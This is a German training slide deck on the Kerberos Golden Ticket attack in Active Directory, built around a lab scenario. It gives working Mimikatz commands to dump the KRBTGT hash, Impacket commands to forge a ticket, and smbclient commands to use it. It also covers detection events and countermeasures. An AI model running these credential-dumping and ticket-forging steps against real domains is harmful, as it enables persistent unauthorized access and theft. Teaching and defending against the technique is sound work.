<style> .reveal .slides { background: url(https://hedgedoc.xinux.net/uploads/xinux-weiss.png) no-repeat; background-position: right 10px bottom 10px; background-size: 80px; } .reveal ul li { font-size: 28px !important; line-height: 1.3 !important; margin-bottom: 10px !important; } .reveal .slides section { text-align: left; padding: 20px 40px !important; } code, pre { font-size: 0.9em !important; } </style> ## Einführung Golden Ticket – Angriff auf Kerberos (AD) - Golden Ticket = Angriff auf das Kerberos-Anmeldeverfahren - Effekt: Zugriff auf Ressourcen, obwohl keine Rechte mehr vorhanden - Basis: Missbrauch des geheimen KRBTGT-Schlüssels --- ## Active Directory – Erinnerung - AD = Telefonbuch + Ausweisstelle im Netzwerk - Enthält Benutzer, Gruppen, Computer - Organisiert, wer was darf --- ## Kerberos in einfachen Worten - Vergleich: **Ausweis-System** - Benutzer meldet sich an → bekommt ein „Ticket“ - Mit dem Ticket kann er weitere Türen öffnen (Dateiserver, Mailserver …) - Vorteil: Passwort wird nicht jedes Mal über das Netz geschickt --- ## Kerberos technisch (vereinfacht) 1. Benutzer meldet sich beim Domain Controller an 2. Domain Controller erstellt ein Ticket (TGT) 3. Ticket wird mit geheimem Schlüssel „KRBTGT“ unterschrieben 4. Benutzer nutzt Ticket für weitere Dienste --- ## KRBTGT-Konto - Spezielles Konto in jeder Domäne - Schlüsselmaterial zum Signieren aller Tickets - Ohne KRBTGT keine gültige Anmeldung möglich - Schutz dieses Kontos = entscheidend --- ## Schwachpunkt - Domain Controller prüft nur: - Ist Ticket mit KRBTGT signiert? - Er prüft nicht: - Hat der Benutzer noch Adminrechte? - Wurde der Benutzer degradiert? --- ## Golden Ticket - Gefälschtes Kerberos-Ticket - Sieht für den DC gültig aus - Erzeugt mit: - Domain SID - KRBTGT NTLM-Hash - Angreifer kann beliebige Gruppen eintragen (z. B. Domain Admins) --- ## Voraussetzungen für Angriff - Einmalige Kontrolle über Domain Admin oder SYSTEM - Hash-Exfiltration mit Tools wie Mimikatz - Kenntnis von: - KRBTGT NTLM-Hash - Domain SID - Danach reicht Standardbenutzerkonto --- ## Szenario „Mike“ - Früher: Domain Admin → zieht KRBTGT-Hash und Domain SID - Später: degradiert auf „Domain Users“ - Heute: erstellt Golden Ticket → Zugriff wie zuvor --- ## Phase 1: Hash-Exfiltration - Auf dem DC mit Mimikatz: ``` privilege::debug lsadump::lsa /inject /name:krbtgt ``` - Ergebnis: - Domain SID - KRBTGT NTLM-Hash --- ## Phase 2: Degradierung - Mike wird aus „Domain Admins“ entfernt - Nur noch „Domain Users“ - Kein Zugriff mehr auf Admin-Shares --- ## Phase 3: Ticket-Erstellung - Auf Kali mit Impacket: ``` ticketer.py -nthash <KRBTGT_HASH> \ -domain-sid <DOMAIN_SID> \ -domain lab.int \ mike.der.trainer ``` - Ergebnis: Ticket-Datei (.ccache) --- ## Phase 4: Ticket-Aktivierung - Ticket in Cache laden: ``` export KRB5CCNAME=$(pwd)/mike.der.trainer.ccache klist ``` - Ticket ist aktiv --- ## Phase 5: Missbrauch - Zugriff ohne Passwort: ``` smbclient -k //fs.lab.int/IT-Share ``` - Zugriff erfolgreich trotz fehlender Rechte --- ## Gefahren - Tickets können bis zu 10 Jahre gültig sein - Gilt domänenweit auf allen Domain Controllern - Rechteentzug allein schützt nicht - Angreifer bestimmt selbst seine Rechte --- ## Hinweise zur Erkennung - Sehr lange Ticket-Laufzeiten - Anmeldungen degradierter Konten - Wichtige Events: - 4624 (Logon) - 4768/4769 (Kerberos) - 4662 (DCSync) --- ## Gegenmaßnahmen - KRBTGT-Passwort zweimal ändern (mit Replikation) - LSA-Schutz (RunAsPPL) aktivieren - Monitoring von LSASS- und DCSync-Zugriffen - Minimierung und saubere Verwaltung privilegierter Konten --- ## Kernaussage - Golden Ticket = persistente Hintertür - Einmal Domain Admin reicht für langfristige Kompromittierung - Nur ein KRBTGT-Reset macht alte Tickets ungültig --- ## Zusammenfassung - Kerberos = Ticket-basiertes Authentifizierungssystem - KRBTGT-Konto = Herzstück für Ticket-Signaturen - Mit Hash + SID → Golden Ticket fälschbar - Rechteentzug ≠ Schutz - Nur Reset des KRBTGT-Kontos + Monitoring wirksam
{"title":"Golden Ticket – Angriff auf Kerberos (AD)","author":"Thomas Will","date":"2025-08-26T00:00:00.000Z"}